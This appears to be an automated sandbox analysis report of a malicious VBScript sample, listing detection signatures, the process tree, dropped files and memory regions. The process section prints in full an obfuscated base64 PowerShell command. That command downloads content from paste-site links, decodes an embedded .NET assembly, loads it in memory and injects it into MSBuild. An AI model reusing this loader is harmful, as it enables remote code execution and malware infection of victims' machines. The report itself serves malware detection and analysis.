Analysis

  • max time kernel
    149s
  • max time network
    95s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    15/04/2026, 07:33

General

  • Target
    SOSTENER.vbs
  • Size 23KB
  • Sample260415-jdn3aagx6k
  • SHA256 c1bc4d0889a21ee2999e32f68ee95c1a54ecde6cbebce2c8f169aea32766bdf5
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SOSTENER.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:576
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ddsdgo ='DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAdQBuAGMAdABpAG8AbgAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAewAgAHAAYQByAGEAbQAgACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGwAaQBuAGsAcwApACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AawAgAGkAbgAgACQAcwBoAHUAZgBmAGwAZQBkAEwAaQBuAGsAcwApACAAewAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGkAbgBf#ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0AIAB9ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0AHAAJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHMAOgAvAC8AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABmAHMAZABmAHMAZABnACAAPQAgACAAJABCAHkAdABlAHMAIAAf#ACQAQgB5AHQAZQBzADIAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBBADMAWQBvAE4ANgB5AFEAOABZAHUAUgA5ADEANAAnACkALAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBPADkAUQByAHQAMwBJADcAZABxADIATAA3AHAAYQAnACkAKQA7ACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBf#AHMAIAAkAGwAaQBuAGsAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHMAdABhAHIAdABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQAnACAAKwAgACcAUwBFACcAIAAf#ACAAJwA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAgACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAHMAdABhAHIAdABGAGwAYQBnACkAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAIAB7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHQAeQBwAGUAIAA9ACAAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBtAHkAcAByAG8AZwByAGEAbQAuAEgAbwBtAGUAZQBzACcAKQA7AA0ACgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGkAbgBqAGUAYwA9ACcATQBzAGIAdQBpAGwAZAAnADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGcAZwAgAD0AIAAnAHcAYQByAC8AZgAyAFQAYwBsAGUARQBkAC8AcABwAGEALgB5AGYAZQB0AHMAYQBwAC8ALwA6AHMAZwBzAGYAZgBzAGYAJwAgADsAIAAkAGcAZwAgAD0AIAAkAGcAZwAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsACAAJABnAGcALgBMAGUAbgBnAHQAaAAgAC0AIAA2ACkADQAKACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG0AZQB0AGgAbwBkACAAPQAgACQAdAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwByAHUAbgBzACcAIAAf#ACAAJwBzACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAKAAkAGcAZwAgACwAJwAwACcALAAgACcAZQB2ACcALAAgACQAaQBuAGoAZQBjACwAIAAnADAAJwAgACwAIAAnAHgAOAA2ACcAKQApAH0AfQA=';iex ([system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsdgo.replace('f#','r') )));
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2940

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_vybpq3b4.saq.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vybpq3b4.saq.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/576-0-0x000002375EBF0000-0x000002375EC8E000-memory.dmp

        memory/576-1-0x000002375ECF0000-0x000002375ECFC000-memory.dmp

        memory/2940-11-0x00000206F42E0000-0x00000206F42F0000-memory.dmp

        memory/2940-9-0x00000206F4340000-0x00000206F4362000-memory.dmp

        memory/2940-3-0x00000206F42E0000-0x00000206F42F0000-memory.dmp

        memory/2940-2-0x00000206F42E0000-0x00000206F42F0000-memory.dmp

        memory/2940-12-0x00000206F42E0000-0x00000206F42F0000-memory.dmp

        memory/2940-13-0x00000206F42E0000-0x00000206F42F0000-memory.dmp

        memory/2940-14-0x00000206DBCD0000-0x00000206DBCDC000-memory.dmp

        memory/2940-15-0x00000206F42F0000-0x00000206F4302000-memory.dmp

        memory/2940-16-0x00000206F42E0000-0x00000206F42F0000-memory.dmp

        memory/2940-26-0x00000206DBCD0000-0x00000206DBCDC000-memory.dmp